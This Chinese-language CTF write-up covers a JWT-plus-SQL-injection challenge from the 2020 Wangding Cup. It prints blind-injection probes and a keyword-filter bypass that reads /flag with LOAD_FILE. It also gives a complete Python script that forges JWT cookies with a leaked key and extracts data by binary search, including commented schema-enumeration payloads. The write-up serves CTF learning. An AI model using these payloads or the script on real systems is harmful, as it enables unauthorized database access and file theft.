jwt在网鼎杯的运用

ctf sql jwt

Word count: 696Reading time: 4 min

 2020/08/14   Share

2020-网鼎杯-玄武组-js_on

前置知识

jwt(前面的博客已经提到过了)，自行翻看

看题目

先是一个登陆框

使用admin/admin登陆之后看到了jwt的key值

jwt结合sql注入解题

先进行尝试

1	admin'//and//1=1#

1	admin'//and//1=2#

结果不一样，说明user存在注入点

经过尝试，发现select这些都被过滤了，使用进行绕过，构造出最终payload

1	admin'//and//as<a>cii(m<a>id((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),1,1))>1#

可行！！！
然后上脚本(取自网上大佬)

# coding=utf-8

import jwt
import requests
import re

key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-6ba8fd5d80774d5c.sandbox.ctfhub.com:10080/index.php"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:
# print(info)


# payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"


# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=performan<a>ce_schema()),{},1))>{}#"

def half_interval():
    result = ""
    for i in range(1, 50):
        min = 32
        max = 127
        while abs(max - min) > 1:
            mid = (min + max) // 2
            payload = payloadTmpl.format(i, mid)
            jwttoken = {
                "user": payload,
                "news": "success"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
            # print(payload)
            cookies = dict(token=str(payload))
            res = requests.get(url, cookies=cookies)
            if re.findall("success", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)


if __name__ == "__main__":
    half_interval()
    # payload = payloadTmpl.format(1,32)
    # jwttoken = {
    #     "user": payload,
    #     "news": "success"
    # }
    # print(jwttoken)
    # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
    # print(payload)
    # cookies = dict(token=str(payload))
    # res = requests.get(url,cookies=cookies,proxies=proxies)
    # res.encoding='utf-8'
    # print(res.text)